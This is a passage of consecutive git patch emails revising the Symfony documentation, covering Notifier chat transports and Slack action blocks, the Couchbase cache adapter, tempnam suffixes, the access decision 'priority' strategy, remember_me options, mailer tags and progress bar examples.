+     * @Route("/checkout/thankyou")
+     */
+    public function thankyou(Chatter $chatter /* ... */)
+    {
+     $message = new ChatMessage('Revenue increased by 1€ per year...');
+        $chatter->send($message);
+        return $this->render('checkout/thankyou.html.twig', [
+            // ...
+        ]);
+    }
+
+Messages low-level API::
+
+    $message = new ChatMessage('Revenue increased by 1€ per year...');
+    $slack = Transport::fromDsn('slack://TOKEN@default?channel=CHANNEL');
+    $slack->send($sms);
+    $telegram = Transport::fromDsn('telegram://TOKEN@default?channel=CHAT_ID');
+    $telegram->send($sms);
+
+Messages higher-level API::
+
+    $transports = Transport::fromDsns([
+        'slack' => 'slack://TOKEN@default?channel=CHANNEL',
+        'telegram' => 'telegram://TOKEN@default?channel=CHAT_ID'
+    ]);
+    $chatter = new Chatter($transports, $bus);
+    $chatter->send($message);
+    $message->setTransport('telegram');
+    $chatter->send($message);
+    $bus->dispatch($message);
+
+    $options = (new SlackOptions())
+        ->iconEmoji('tada')
+        ->iconUrl('https://symfony.com')
+        ->username('SymfonyNext')
+        ->channel($channel)
+        ->block((new SlackSectionBlock())->text('Some Text'))
+        ->block(new SlackDividerBlock())
+        ->block((new SlackSectionBlock())
+            ->text('Some Text in another block')
+            ->accessory(new SlackImageBlockElement('http://placekitten.com/700/500', 'kitten'))
+        )
+    ;
+    $message = new ChatMessage('Default Text', $options);
 
-	We're still working on the docs of this component. Check this page again
-	in a few days.
+    $dsn = 'all(slack://TOKEN@default?channel=CHANNEL telegram://TOKEN@default?channel=CHAT_ID)';

From b9d0d7f261d506f7b848cd025919dc66b01b4edd Mon Sep 17 00:00:00 2001
From: Savvas Alexandrou <savvas.alexandrou@gmail.com>
Date: Mon, 20 Jan 2020 17:28:26 +0100
Subject: [PATCH 0229/7107] Slack notifier actions documentation

---
 components/notifier.rst | 41 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)

diff --git a/components/notifier.rst b/components/notifier.rst
index 5a7de10eb4d..9990488aa47 100644
--- a/components/notifier.rst
+++ b/components/notifier.rst
@@ -177,3 +177,44 @@ Messages higher-level API::
     $message = new ChatMessage('Default Text', $options);
 
     $dsn = 'all(slack://TOKEN@default?channel=CHANNEL telegram://TOKEN@default?channel=CHAT_ID)';
+
+Slack Actions Block for Slack Message
+-------------------------------------
+
+With a Slack Message you can add some interactive options called `Block elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+    use Symfony\Component\Notifier\Chatter;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackTransport;
+
+    // Initialize a chatter with Slack Transport
+    $chatter = new Chatter(new SlackTransport('token'));
+
+    // Create a message
+    $chatMessage = (new ChatMessage())
+        ->subject('Contribute To Symfony');
+
+    // Create Slack Actions Block and add some buttons
+    $contributeToSymfonyBlocks = (new SlackActionsBlock())
+        ->button(
+            'Improve Documentation',
+            'https://symfony.com/doc/current/contributing/documentation/standards.html',
+            'primary'
+        )
+        ->button(
+            'Report bugs',
+            'https://symfony.com/doc/current/contributing/code/bugs.html',
+            'danger'
+        );
+    $contributeToSymfonyOptions = (new SlackOptions())->block($contributeToSymfonyBlocks);
+
+    // Add the Buttons as Options to the Message
+    $chatMessage->options($contributeToSymfonyOptions);
+
+    // And then send the Message
+    $chatter->send($chatMessage);
+
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements

From 01793034f7f6f9551371d9642ea6e5b23c76b348 Mon Sep 17 00:00:00 2001
From: Savvas Alexandrou <savvas.alexandrou@gmail.com>
Date: Mon, 20 Jan 2020 17:50:23 +0100
Subject: [PATCH 0230/7107] Reorder the use statements alphabetically

---
 components/notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/notifier.rst b/components/notifier.rst
index 9990488aa47..267b4a80067 100644
--- a/components/notifier.rst
+++ b/components/notifier.rst
@@ -185,9 +185,9 @@ With a Slack Message you can add some interactive options called `Block elements
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
     use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-    use Symfony\Component\Notifier\Chatter;
     use Symfony\Component\Notifier\Bridge\Slack\SlackTransport;
+    use Symfony\Component\Notifier\Chatter;
+    use Symfony\Component\Notifier\Message\ChatMessage;
 
     // Initialize a chatter with Slack Transport
     $chatter = new Chatter(new SlackTransport('token'));

From 4647377cc5a96a242e5658eba15ff991977c5032 Mon Sep 17 00:00:00 2001
From: Jon Dufresne <jon.dufresne@gmail.com>
Date: Tue, 6 Aug 2019 20:04:32 -0700
Subject: [PATCH 0231/7107] Document $suffix argument to tempnam()

---
 components/filesystem.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 21881a307d3..62235ebdc6d 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -286,6 +286,12 @@ exception on failure::
 
     // returns a path like : /tmp/prefix_wyjgtF
     $filesystem->tempnam('/tmp', 'prefix_');
+    // returns a path like : /tmp/prefix_wyjgtF.png
+    $filesystem->tempnam('/tmp', 'prefix_', '.png');
+
+.. versionadded:: 4.4
+
+    The option to set a suffix in  ``tempnam()`` was introduced in Symfony 4.4.
 
 ``dumpFile``
 ~~~~~~~~~~~~

From cd0a814dd4103e9b997c83af87631c64c1357f63 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 4 Feb 2020 09:25:08 +0100
Subject: [PATCH 0232/7107] Fix version. refs #12108

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 62235ebdc6d..b8064cdb175 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -289,7 +289,7 @@ exception on failure::
     // returns a path like : /tmp/prefix_wyjgtF.png
     $filesystem->tempnam('/tmp', 'prefix_', '.png');
 
-.. versionadded:: 4.4
+.. versionadded:: 5.1
 
     The option to set a suffix in  ``tempnam()`` was introduced in Symfony 4.4.
 

From bcf4296ee1d2ac9f638b5c324cc635f874e3e06e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 4 Feb 2020 09:27:00 +0100
Subject: [PATCH 0233/7107] Fix version. refs #12108

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index b8064cdb175..703c09ff91d 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -291,7 +291,7 @@ exception on failure::
 
 .. versionadded:: 5.1
 
-    The option to set a suffix in  ``tempnam()`` was introduced in Symfony 4.4.
+    The option to set a suffix in  ``tempnam()`` was introduced in Symfony 5.1.
 
 ``dumpFile``
 ~~~~~~~~~~~~

From d920de38ab8f7dc9260c793ef5567f948831d85e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Antonio=20Jos=C3=A9=20Cerezo=20Aranda?=
 <acerezo@elconfidencial.com>
Date: Fri, 14 Jun 2019 09:54:11 +0200
Subject: [PATCH 0234/7107] Add documentation CouchbaseBucketAdapter for cache
 system.

---
 .../adapters/couchbasebucket_adapter.rst      | 146 ++++++++++++++++++
 1 file changed, 146 insertions(+)
 create mode 100644 components/cache/adapters/couchbasebucket_adapter.rst

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
new file mode 100644
index 00000000000..48b8d2857c2
--- /dev/null
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -0,0 +1,146 @@
+.. index::
+    single: Cache Pool
+    single: Couchabase Cache
+
+.. _couchbase-adapter:
+
+Couchbase Cache Adapter
+=======================
+
+This adapter stores the values in-memory using one (or more) `Couchbase server`_
+instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
+:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+shared memory; you can store contents independent of your PHP environment.
+The ability to utilize a cluster of servers to provide redundancy and/or fail-over
+is also available.
+
+.. caution::
+
+    **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
+    must be installed, active, and running to use this adapter. Version ``2.6`` or
+    greater of the `Couchbase PHP extension`_ is required for this adapter.
+
+This adapter expects a `Couchbase Bucket`_ instance to be passed as the first
+parameter. A namespace and default cache lifetime can optionally be passed as
+the second and third parameters::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseBucketAdapter;
+
+    $cache = new CouchbaseBucketAdapter(
+        // the client object that sets options and adds the server instance(s)
+        \CouchbaseBucket $client,
+
+        // the name of bucket
+        string $bucket,
+
+        // a string prefixed to the keys of the items stored in this cache
+        $namespace = '',
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely
+        $defaultLifetime = 0,
+    );
+
+
+Configure the Connection
+------------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseBucketAdapter::createConnection`
+helper method allows creating and configuring a `Couchbase Bucket`_ class instance using a
+`Data Source Name (DSN)`_ or an array of DSNs::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseBucketAdapter;
+
+    // pass a single DSN string to register a single server with the client
+    $client = CouchbaseBucketAdapter::createConnection(
+        'couchbase://localhost'
+        // the DSN can include config options (pass them as a query string):
+        // 'couchbase://localhost:11210?operationTimeout=10'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+    );
+
+    // pass an array of DSN strings to register multiple servers with the client
+    $client = CouchbaseBucketAdapter::createConnection([
+        'couchbase://10.0.0.100',
+        'couchbase://10.0.0.101',
+        'couchbase://10.0.0.102',
+        // etc...
+    ]);
+
+    // a single DSN can define multiple servers using the following syntax:
+    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    $client = CouchbaseBucketAdapter::createConnection(
+        'couchbase:?host[localhost]&host[localhost:12345]'
+    );
+
+
+Configure the Options
+---------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseBucketAdapter::createConnection`
+helper method also accepts an array of options as its second argument. The
+expected format is an associative array of ``key => value`` pairs representing
+option names and their respective values::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseBucketAdapter;
+
+    $client = CouchbaseBucketAdapter::createConnection(
+        // a DSN string or an array of DSN strings
+        [],
+
+        // associative array of configuration options
+        [
+            'username' => 'xxxxxx',
+            'password' => 'yyyyyy',
+            'configTimeout' => '100',
+        ]
+    );
+
+Available Options
+~~~~~~~~~~~~~~~~~
+
+``username`` (type: ``string``)
+    Username for connection ``CoucbaseCluster``.
+
+``password`` (type: ``string``)
+    Password of connection ``CouchbaseCluster``.
+
+``operationTimeout`` (type: ``int``, default: ``2500000``)
+    The operation timeout (in microseconds) is the maximum amount of time the library will
+    wait for an operation to receive a response before invoking its callback with a failure status.
+
+``configTimeout`` (type: ``int``, default: ``5000000``)
+    How long (in microseconds) the client will wait to obtain the initial configuration.
+
+``configNodeTimeout`` (type: ``int``, default: ``2000000``)
+    Per-node configuration timeout (in microseconds).
+
+``viewTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP requests to Couchbase Views API.
+
+``httpTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP queries (management API).
+
+``configDelay`` (type: ``int``, default: ``10000``)
+    Config refresh throttling
+    Modify the amount of time (in microseconds) before the configiration error threshold will forcefully be set to its maximum number forcing a configuration refresh.
+
+``htconfigIdleTimeout`` (type: ``int``, default: ``4294967295``)
+    Idling/Persistence for HTTP bootstrap (in microseconds).
+
+``durabilityInterval`` (type: ``int``, default: ``100000``)
+    The time (in microseconds) the client will wait between repeated probes to a given server.
+
+``durabilityTimeout`` (type: ``int``, default: ``5000000``)
+    The time (in microseconds) the client will spend sending repeated probes to a given key's vBucket masters and replicas before they are deemed not to have satisfied the durability requirements.
+
+.. tip::
+
+    Reference the `Couchbase Bucket`_ extension's `predefined constants`_ documentation
+    for additional information about the available options.
+
+.. _`Couchbase PHP extension`: https://docs.couchbase.com/sdk-api/couchbase-php-client-2.6.0/files/couchbase.html
+.. _`predefined constants`: https://docs.couchbase.com/sdk-api/couchbase-php-client-2.6.0/classes/Couchbase.Bucket.html
+.. _`Couchbase server`: https://couchbase.com/
+.. _`Couchbase Bucket`: https://docs.couchbase.com/sdk-api/couchbase-php-client-2.6.0/classes/Couchbase.Bucket.html
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name

From 2d57b661c2c79971ce19fb1e9e5bcc0dab16a767 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 4 Feb 2020 13:21:16 +0100
Subject: [PATCH 0235/7107] Add missing versionadded directive. refs #11748

---
 components/cache/adapters/couchbasebucket_adapter.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 48b8d2857c2..5331f13d8fd 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -7,6 +7,10 @@
 Couchbase Cache Adapter
 =======================
 
+.. versionadded:: 5.1
+
+    The CouchbaseBucketAdapter was introduced in Symfony 5.1.
+
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
 :ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's

From efbb0b3e534db74dbe1114e1e99993837eeb27c9 Mon Sep 17 00:00:00 2001
From: Loulier Guillaume <guillaume.loulier@hotmail.fr>
Date: Tue, 4 Feb 2020 14:10:32 +0100
Subject: [PATCH 0236/7107] refacto(Lock): FlockStore default path

---
 components/lock.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 79ef3541ed0..235167662ec 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -227,6 +227,10 @@ PHP process is terminated::
     // the argument is the path of the directory where the locks are created
     $store = new FlockStore(sys_get_temp_dir());
 
+.. note::
+
+    If no path is given, ``sys_get_temp_dir`` is used as default value.
+
 .. caution::
 
     Beware that some file systems (such as some types of NFS) do not support

From 57a6a1836e13c54cdf3671077941221317f780c3 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heah@heahprod.com>
Date: Tue, 4 Feb 2020 19:30:23 +0100
Subject: [PATCH 0237/7107] [FrameworkBundle][Routing] Removed context in
 template route config example

---
 templates.rst | 15 ++-------------
 1 file changed, 2 insertions(+), 13 deletions(-)

diff --git a/templates.rst b/templates.rst
index e31c6539d89..a843db21c03 100644
--- a/templates.rst
+++ b/templates.rst
@@ -458,7 +458,8 @@ Rendering a Template Directly from a Route
 
 Although templates are usually rendered in controllers and services, you can
 render static pages that don't need any variables directly from the route
-definition. Use the special ``TemplateController`` provided by Symfony:
+definition. Use the special :class:`Symfony\\Bundle\\FrameworkBundle\\Controller\\TemplateController`
+provided by Symfony:
 
 .. configuration-block::
 
@@ -476,10 +477,6 @@ definition. Use the special ``TemplateController`` provided by Symfony:
                 maxAge:    86400
                 sharedAge: 86400
 
-                # optionally you can define some arguments passed to the template
-                site_name: 'ACME'
-                theme: 'dark'
-
     .. code-block:: xml
 
         <!-- config/routes.xml -->
@@ -497,10 +494,6 @@ definition. Use the special ``TemplateController`` provided by Symfony:
                 <!-- special options defined by Symfony to set the page cache -->
                 <default key="maxAge">86400</default>
                 <default key="sharedAge">86400</default>
-
-                <!-- optionally you can define some arguments passed to the template -->
-                <default key="site_name">ACME</default>
-                <default key="theme">dark</default>
             </route>
         </routes>
 
@@ -520,10 +513,6 @@ definition. Use the special ``TemplateController`` provided by Symfony:
                     // special options defined by Symfony to set the page cache
                     'maxAge'    => 86400,
                     'sharedAge' => 86400,
-
-                    // optionally you can define some arguments passed to the template
-                    'site_name' => 'ACME',
-                    'theme' => 'dark',
                 ])
             ;
         };

From 7f021b58699413f1ae1f74028435f2de92b33806 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Feb 2020 20:02:56 +0100
Subject: [PATCH 0238/7107] [Security] Document the remember_me.service option

---
 security/remember_me.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index f96bb7bbe9e..7afc92afe68 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -132,6 +132,15 @@ The ``remember_me`` firewall defines the following configuration options:
     Defines the service id of a token provider to use. If you want to store tokens
     in the database, see :ref:`remember-me-token-in-database`.
 
+``service`` (default value: ``null``)
+    Defines the ID of the service used to handle the Remember Me feature. It's
+    mostly useful in complex applications that need to override the default
+    behavior entirely.
+
+    .. versionadded:: 5.1
+
+        The ``service`` option was introduced in Symfony 5.1.
+
 Forcing the User to Opt-Out of the Remember Me Feature
 ------------------------------------------------------
 

From 19e1ec7fb0c7d9d3e066186146eef08e87159e58 Mon Sep 17 00:00:00 2001
From: Benjamin Morel <benjamin.morel@gmail.com>
Date: Mon, 3 Feb 2020 15:54:06 +0100
Subject: [PATCH 0239/7107] Fix versions in Upgrading Major Version

---
 setup/upgrade_major.rst | 32 ++++++++++----------------------
 1 file changed, 10 insertions(+), 22 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 8e5ec0723ac..9c51834e577 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -135,16 +135,16 @@ starting with ``symfony/`` to the new major version:
         "...": "...",
 
         "require": {
-    -         "symfony/cache": "4.3.*",
-    +         "symfony/cache": "4.4.*",
-    -         "symfony/config": "4.3.*",
-    +         "symfony/config": "4.4.*",
-    -         "symfony/console": "4.3.*",
-    +         "symfony/console": "4.4.*",
+    -         "symfony/cache": "4.4.*",
+    +         "symfony/cache": "5.0.*",
+    -         "symfony/config": "4.4.*",
+    +         "symfony/config": "5.0.*",
+    -         "symfony/console": "4.4.*",
+    +         "symfony/console": "5.0.*",
             "...": "...",
 
             "...": "A few libraries starting with
-                    symfony/ follow their versioning scheme. You
+                    symfony/ follow their own versioning scheme. You
                     do not need to update these versions: you can
                     upgrade them independently whenever you want",
             "symfony/monolog-bundle": "^3.5",
@@ -152,29 +152,17 @@ starting with ``symfony/`` to the new major version:
         "...": "...",
     }
 
-Your ``composer.json`` file should also have an ``extra`` block that you will
-*also* need to update:
-
-.. code-block:: diff
-
-    "extra": {
-        "symfony": {
-            "...": "...",
-    -         "require": "4.4.*"
-    +         "require": "5.0.*"
-        }
-    }
-
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
 this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
 
-.. code-block:: json
+.. code-block:: diff
 
     "extra": {
         "symfony": {
             "allow-contrib": false,
-            "require": "5.0.*"
+    -       "require": "4.4.*"
+    +       "require": "5.0.*"
         }
     }
 

From a0a68bc6bdd33c20080825e8aa9f228184267081 Mon Sep 17 00:00:00 2001
From: Cassian Assael <cassian_as@yahoo.fr>
Date: Mon, 3 Feb 2020 17:46:32 +0100
Subject: [PATCH 0240/7107] fix: very_verbose mode shows estimated time

---
 components/console/helpers/progressbar.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 4a892603717..923a2bf9349 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -109,9 +109,9 @@ level of verbosity of the ``OutputInterface`` instance:
      3/3 [============================] 100%  1 sec
 
     # OutputInterface::VERBOSITY_VERY_VERBOSE (-vv)
-     0/3 [>---------------------------]   0%  1 sec
-     1/3 [=========>------------------]  33%  1 sec
-     3/3 [============================] 100%  1 sec
+     0/3 [>---------------------------]   0%  1 sec/1 sec
+     1/3 [=========>------------------]  33%  1 sec/1 sec
+     3/3 [============================] 100%  1 sec/1 sec
 
     # OutputInterface::VERBOSITY_DEBUG (-vvv)
      0/3 [>---------------------------]   0%  1 sec/1 sec  1.0 MB

From 0a255dc002879ff3073f4eea7985321db47d982e Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sat, 25 Jan 2020 14:34:48 +0100
Subject: [PATCH 0241/7107] Fix compiler pass phase when extensions that
 implements CompilerPassInterface are executed

---
 components/dependency_injection/compilation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 6a1db7d02bb..82d51f42cf6 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -341,7 +341,7 @@ methods described in :doc:`/service_container/definitions`.
 .. note::
 
     Please note that the ``process()`` method in the extension class is
-    called during the optimization step. You can read
+    called during the ``PassConfig::TYPE_BEFORE_OPTIMIZATION`` step. You can read
     :ref:`the next section <components-di-separate-compiler-passes>` if you
     need to edit the container during another step.
 

From c903f4a6beae208ac2d45feb36107584598cff1f Mon Sep 17 00:00:00 2001
From: Andreas Schempp <andreas.schempp@terminal42.ch>
Date: Sat, 18 Jan 2020 14:59:12 +0100
Subject: [PATCH 0242/7107] Added documentation for the priority access
 decision strategy

---
 components/security/authorization.rst | 10 ++++++++--
 security/voters.rst                   | 15 ++++++++++++---
 2 files changed, 20 insertions(+), 5 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 647a204f0b5..7b16584797a 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -49,6 +49,13 @@ recognizes several strategies:
 ``unanimous``
     only grant access if none of the voters has denied access;
 
+``priority``
+    grants or denies access by the first voter that does not abstain;
+
+    .. versionadded:: 5.1
+
+        The priority version strategy was introduced in Symfony 5.1.
+
 Usage of the available options in detail::
 
     use Symfony\Component\Security\Core\Authorization\AccessDecisionManager;
@@ -56,7 +63,7 @@ Usage of the available options in detail::
     // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface
     $voters = [...];
 
-    // one of "affirmative", "consensus", "unanimous"
+    // one of "affirmative", "consensus", "unanimous", "priority"
     $strategy = ...;
 
     // whether or not to grant access when all voters abstain
@@ -258,4 +265,3 @@ decision manager::
     if (!$authorizationChecker->isGranted('ROLE_ADMIN')) {
         throw new AccessDeniedException();
     }
-
diff --git a/security/voters.rst b/security/voters.rst
index 05415c1f39f..dc468a774d9 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -26,7 +26,7 @@ uses the authorization checker), or by
 
 Ultimately, Symfony takes the responses from all voters and makes the final
 decision (to allow or deny access to the resource) according to the strategy defined
-in the application, which can be: affirmative, consensus or unanimous.
+in the application, which can be: affirmative, consensus, unanimous or priority.
 
 For more information take a look at
 :ref:`the section about access decision managers <components-security-access-decision-manager>`.
@@ -262,7 +262,7 @@ checks if the user is a member of the site and a second one that checks if the u
 is older than 18.
 
 To handle these cases, the access decision manager uses an access decision
-strategy. You can configure this to suit your needs. There are three
+strategy. You can configure this to suit your needs. There are four
 strategies available:
 
 ``affirmative`` (default)
@@ -274,7 +274,16 @@ strategies available:
 ``unanimous``
     This only grants access if there is no voter denying access. If all voters
     abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
+    config option (which defaults to ``false``);
+
+``priority``
+    This grants or denies access by the first voter that does not abstain,
+    based on their service priority;
+
+    .. versionadded:: 5.1
+
+        The priority version strategy was introduced in Symfony 5.1.
+
 
 In the above scenario, both voters should grant access in order to grant access
 to the user to read the post. In this case, the default strategy is no longer

From 6113a66334e280a649df4f596ec2fa9afe22ce5a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Feb 2020 07:00:18 +0100
Subject: [PATCH 0243/7107] minor. refs #12956

---
 components/security/authorization.rst | 2 +-
 security/voters.rst                   | 7 +++----
 2 files changed, 4 insertions(+), 5 deletions(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 097e228512f..4918953bc26 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -54,7 +54,7 @@ recognizes several strategies:
 
     .. versionadded:: 5.1
 
-        The priority version strategy was introduced in Symfony 5.1.
+        The ``priority`` version strategy was introduced in Symfony 5.1.
 
 Usage of the available options in detail::
 
diff --git a/security/voters.rst b/security/voters.rst
index dc468a774d9..be0e505270c 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -262,8 +262,8 @@ checks if the user is a member of the site and a second one that checks if the u
 is older than 18.
 
 To handle these cases, the access decision manager uses an access decision
-strategy. You can configure this to suit your needs. There are four
-strategies available:
+strategy. You can configure this to suit your needs. The following strategies
+are available:
 
 ``affirmative`` (default)
     This grants access as soon as there is *one* voter granting access;
@@ -282,8 +282,7 @@ strategies available:
 
     .. versionadded:: 5.1
 
-        The priority version strategy was introduced in Symfony 5.1.
-
+        The ``priority`` version strategy was introduced in Symfony 5.1.
 
 In the above scenario, both voters should grant access in order to grant access
 to the user to read the post. In this case, the default strategy is no longer

From bbfdec196ec90900a56f9f4bab0138489f984713 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Feb 2020 07:51:45 +0100
Subject: [PATCH 0244/7107] minor. refs #13049

---
 security/remember_me.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 7afc92afe68..9b98fa8298b 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -134,8 +134,7 @@ The ``remember_me`` firewall defines the following configuration options:
 
 ``service`` (default value: ``null``)
     Defines the ID of the service used to handle the Remember Me feature. It's
-    mostly useful in complex applications that need to override the default
-    behavior entirely.
+    useful if you need to overwrite the current behavior entirely.
 
     .. versionadded:: 5.1
 

From 1c6727072e1fbe4b6ab3da778458e421d9250dd0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Feb 2020 08:01:08 +0100
Subject: [PATCH 0245/7107] Reword. refs #13022

---
 mailer.rst | 29 ++++++++++++-----------------
 1 file changed, 12 insertions(+), 17 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a3e3866aa72..fa30a0aafd5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -733,26 +733,17 @@ adding a text header ``X-Transport`` to an email::
 Adding Tags and Metadata to Emails
 ----------------------------------
 
-Certain 3rd party transports support email *tags* and *metadata*. These can be
-used by the 3rd party service for grouping, tracking and workflows. The
-:class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
-:class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` headers can be
-added to your email. If your transport supports these headers, they will be
-applied in the format specific to the transport.
-
 .. versionadded:: 5.1
 
     The :class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
     :class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` classes were
     introduced in Symfony 5.1.
 
-The following 3rd party transports currently support tags and metadata:
-
-* Postmark
-* Mailgun
-* MailChimp
-
-For example, say you want to tag an email and add some metadata::
+Certain 3rd party transports support email *tags* and *metadata*, which can be used
+for grouping, tracking and workflows. You can add those by using the
+:class:`Symfony\\Component\\Mailer\\Header\\TagHeader` and
+:class:`Symfony\\Component\\Mailer\\Header\\MetadataHeader` classes. If your transport
+supports headers, it will convert them to their appropriate format::
 
     use Symfony\Component\Mailer\Header\MetadataHeader;
     use Symfony\Component\Mailer\Header\TagHeader;
@@ -761,9 +752,7 @@ For example, say you want to tag an email and add some metadata::
     $email->getHeaders()->add(new MetadataHeader('Color', 'blue'));
     $email->getHeaders()->add(new MetadataHeader('Client-ID', '12345'));
 
-When sending this email with a transport that supports tags and metadata, the transport
-will convert these to their appropriate format. If using a transport that does not
-support tags and metadata, they will be added as custom headers:
+If your transport does not support tags and metadata, they will be added as custom headers:
 
 .. code-block:: text
 
@@ -771,6 +760,12 @@ support tags and metadata, they will be added as custom headers:
     X-Metadata-Color: blue
     X-Metadata-Client-ID: 12345
 
+The following transports currently support tags and metadata:
+
+* Postmark
+* Mailgun
+* MailChimp
+
 Development & Debugging
 -----------------------
 

From 36b6e43fd92e55968c83a014634344bab978f3e0 Mon Sep 17 00:00:00 2001
From: Peter Jaap Blaakmeer <peterjaap@blaakmeer.com>
Date: Mon, 3 Feb 2020 14:58:00 +0100
Subject: [PATCH 0246/7107] Fix example with iterable

---
 components/console/helpers/progressbar.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 0cb53bbbd43..f13946591f5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -110,11 +110,17 @@ which starts, advances and finishes the progress bar automatically::
 
     $progressBar = new ProgressBar($output);
 
-    // $iterable can be for example an array ([1, 2, 3, ...]) or a generator
-    // $iterable = function () { yield 1; yield 2; ... };
+    // $iterable can be for example an array ([1, 2, 3, ...])
+    $iterable = [1, 2];
     foreach ($progressBar->iterate($iterable) as $value) {
         // ... do some work
     }
+    
+    // or a generator
+    function iterable() { yield 1; yield 2; ... };
+    foreach ($progressBar->iterate(iterable()) as $value) {
+        // ... do some work
+    }
 
 If ``$iterable = [1, 2]``, the previous code will output the following:
 

From fe6c38f7d2097c3d863d50b0053ef261303a264f Mon Sep 17 00:00:00 2001
